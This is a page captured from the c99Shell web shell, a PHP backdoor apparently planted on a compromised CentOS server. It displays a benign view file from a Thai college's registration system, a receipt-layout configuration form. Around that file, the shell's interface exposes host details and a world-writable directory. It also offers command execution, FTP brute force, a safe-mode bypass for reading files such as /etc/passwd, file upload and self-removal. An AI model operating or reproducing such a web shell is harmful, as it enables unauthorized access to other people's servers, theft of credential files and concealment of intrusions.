!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_editReceiptConfig.php (9.3 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_rc 
= (isset($rs_rc) && $rs_rc!=NULL) ? $rs_rc->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center"><?php echo form_open($this->config->item("rg_folder")."bdcollege/rc_update");?>
            <table width="100%">
                <tr>
                    <td align="center"><font class="h error" color="<?php echo $font_color_err;?>"><b>ตั้งค่าใบเสร็จรับเงิน</b></font></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><font size="2"><b>1.กล่องข้อความซ้ายสุด คือ ความสูงของแต่ละแถวที่แสดงผล หน่วยมิลลิมเตร <BR>
                        2.กล่องข้อความที่เหลือ คือให้ใส่ ความกว้าง ตั้งแต่ริมซ้ายสุดของกระดาษ ถึงจุดเริ่มต้นที่จะแสดงข้อความ หน่วยมิลลิมเตร <BR>
                        3.กรณีที่ ไม่ต้องการให้แสดงผล ของข้อความใด ให้ใส่ค่าความกว้าง เท่ากับ -1
                    </font></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td align="right"><font size="2">
                    <b>จำนวนกระดาษที่ฟีต</b>(อย่างน้อยเท่ากับ 1)
                    <input type="text" name="rcPerPage" id="rcPerPage" value="<?php echo setValue('rcPerPage',$row_rc);?>" size="2" />
                    &nbsp;&nbsp;&nbsp;
                    <b>ความกว้าง (มม.)</b></font>
                    <input type="text" name="rcWPaper" id="rcWPaper" value="<?php echo setValue('rcWPaper',$row_rc);?>" size="2" />
                    <?php echo form_error('rcWPaper');?></td>
                </tr>
                <tr> 
                    <td style="border-top: ridge thin #0000FF;"><table width="100%" border="0" cellspacing="1" cellpadding="0">
                        <tr>
                            <td height="22" align="right" style="border-right: ridge thin #0000FF;"><font ><b>ความสูง<BR>(มม.)</b></font>&nbsp;</td>
                            <td colspan="6">&nbsp<font ><b>ความกว้าง (มม.)--></b></font></td>
                        </tr>
                        <tr>
                            <td rowspan="1" align="right" valign="top" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYClgName" value="<?php echo setValue('rcYClgName',$row_rc);?>" size="2">
                            <?php echo form_error('rcYClgName');?></td>
                            <td colspan="6" width="20%"><font size="2"><b>ชื่อวิทยาลัย</b></font><input type="text" name="rcXClgName" value="<?php echo setValue('rcXClgName',$row_rc);?>" size="2">
                            <?php echo form_error('rcXClgName');?>
                            </td>
                        </tr>
                        <tr valign="top" bgcolor="<?php echo $tr_color_even;?>">
                            <td width="5%" height="50" align="right" style="border-right: ridge thin #0000FF;" bgcolor="#FFFFFF"><input type="text" name="rcYDate" value="<?php echo setValue('rcYDate',$row_rc);?>" size="2">
                            <?php echo form_error('rcYDate');?></td>
                            <td colspan="3"></td>
                            <td width="15%"><font size="2"><b>วันที่</b></font>
                            <input type="text" name="rcXDay" value="<?php echo setValue('rcXDay',$row_rc);?>" size="2">
                            <?php echo form_error('rcXDay');?></td>
                            <td width="15%"><font size="2"><b>เดือน</b></font>
                            <input type="text" name="rcXMonth" value="<?php echo setValue('rcXMonth',$row_rc);?>" size="2">
                            <?php echo form_error('rcXMonth');?></td>
                            <td width="25%"><font size="2"><b>พ.ศ.</b></font>
                            <input type="text" name="rcXYear" value="<?php echo setValue('rcXYear',$row_rc);?>" size="2">
                            <?php echo form_error('rcXYear');?></td>
                        </tr>
                        <tr>
                            <td rowspan="1" align="right" valign="top" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYStdName" value="<?php echo setValue('rcYStdName',$row_rc);?>" size="2">
                            <?php echo form_error('rcYStdName');?></td>
                            <td colspan="2" width="20%"></td>
                            <td colspan="4"><font size="2"><b>ได้รับเงินจาก</b></font>
                            <input type="text" name="rcXStdName" value="<?php echo setValue('rcXStdName',$row_rc);?>" size="2">
                            <?php echo form_error('rcXStdName');?></td>
                        </tr>
                        <tr>
                            <td rowspan="1" align="right" valign="top" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYCurName" value="<?php echo setValue('rcYCurName',$row_rc);?>" size="2">
                            <?php echo form_error('rcYCurName');?></td>
                            <td colspan="6" width="20%"><font size="2"><b>หลักสูตร</b></font><input type="text" name="rcXCurName" value="<?php echo setValue('rcXCurName',$row_rc);?>" size="2">
                            <?php echo form_error('rcXCurName');?>
                            </td>
                        </tr>
                        <tr valign="top" bgcolor="<?php echo $tr_color_even;?>">
                            <td height="50" align="right" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYTerm" value="<?php echo setValue('rcYTerm',$row_rc);?>" size="2">
                            <?php echo form_error('rcYTerm');?></td>

                            <td colspan="3" ><font size="2"><b>เลขประจำตัว</b></font>
                            <input type="text" name="rcXStdCode" value="<?php echo setValue('rcXStdCode',$row_rc);?>" size="2">
                            <?php echo form_error('rcXStdCode');?></td>

                            <td colspan="2" ><font size="2"><b>ปีการศึกษา</b></font>
                            <input type="text" name="rcXAcY" value="<?php echo setValue('rcXAcY',$row_rc);?>" size="2">
                            <?php echo form_error('rcXAcY');?></td>

                            <td><font size="2"><b>ภาคการศึกษาที่</b></font>
                            <input type="text" name="rcXTerm" value="<?php echo setValue('rcXTerm',$row_rc);?>" size="2">
                            <?php echo form_error('rcXTerm');?></td>
                        </tr>
                        <tr valign="top">
                            <td height="100" align="right" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYItem" value="<?php echo setValue('rcYItem',$row_rc);?>" size="2">
                            <?php echo form_error('rcYItem');?></td>
                            <td width="5%"></td>
                            <td><font size="2"><b>รายการ</b></font>
                            <input type="text" name="rcXItem" value="<?php echo setValue('rcXItem',$row_rc);?>" size="2"></td>
                            <td colspan="3"></td>
                            <td><font size="2"><b>จำนวนเงิน</b></font>
                            <input type="text" name="rcXAmt" value="<?php echo setValue('rcXAmt',$row_rc);?>" size="2">
                            <?php echo form_error('rcXAmt');?></td>
                        </tr>
                        <tr valign="top" bgcolor="<?php echo $tr_color_even;?>">
                            <td height="50" align="right" style="border-right: ridge thin #0000FF;" bgcolor="#FFFFFF"><input type="text" name="rcYTotal" value="<?php echo setValue('rcYTotal',$row_rc);?>" size="2">
                            <?php echo form_error('rcYTotal');?></td>
                            <td colspan="5"></td>
                            <td><font size="2"><b>รวม</b></font></td>
                        </tr>
                        <tr valign="top">
                            <td height="50" align="right" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYStr" value="<?php echo setValue('rcYStr',$row_rc);?>" size="2">
                            <?php echo form_error('rcYStr');?></td>
                            <td colspan="3"></td>
                            <td colspan="3"><font size="2"><b>จำนวนเงิน (ตัวอักษร)</b></font>
                            <input type="text" name="rcXStr" value="<?php echo setValue('rcXStr',$row_rc);?>" size="2">
                            <?php echo form_error('rcXStr');?></td>
                        </tr>
                        <tr valign="bottom" bgcolor="<?php echo $tr_color_even;?>">
                            <td align="right" style="border-right: ridge thin #0000FF;" bgcolor="#FFFFFF"><input type="text" name="rcYPrsName" value="<?php echo setValue('rcYPrsName',$row_rc);?>" size="2">
                            <?php echo form_error('rcYPrsName');?></td>
                            <td colspan="4"></td>
                            <td colspan="2"><font size="2"><b>ลงชื่อ</b></font>
                            <input type="text" name="rcXPrsName" value="<?php echo setValue('rcXPrsName',$row_rc);?>" size="2" >
                            <?php echo form_error('rcXPrsName');?></td>
                        </tr>
                        <tr valign="top">
                            <td height="50" align="right" style="border-right: ridge thin #0000FF;"><input type="text" name="rcYPrsPosition" value="<?php echo setValue('rcYPrsPosition',$row_rc);?>" size="2">
                            <?php echo form_error('rcYPrsPosition');?></td>
                            <td colspan="4"></td>
                            <td colspan="2"><font size="2"><b>ตำแหน่ง</b></font>
                            <input type="text" name="rcXPrsPosition" value="<?php echo setValue('rcXPrsPosition',$row_rc);?>" size="2">
                            <?php echo form_error('rcXPrsPosition');?></td>
                        </tr>
                        <tr>
                            <td colspan="7"><font size="2"><b>ความสูง (มม.)</b></font>
                            <input type="text" name="rcHPaper" value="<?php echo setValue('rcHPaper',$row_rc);?>" size="2">
                            <?php echo form_error('rcHPaper');?></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td align="center">
<?php
                            $lnk 
"<input type=\"submit\" name=\"add\" value=\"บันทึกการแก้ไข\" />";
                            echo 
$oCRUD->CRUD($lnk'U');
?>
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล" />
                    
                    </td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0176 ]--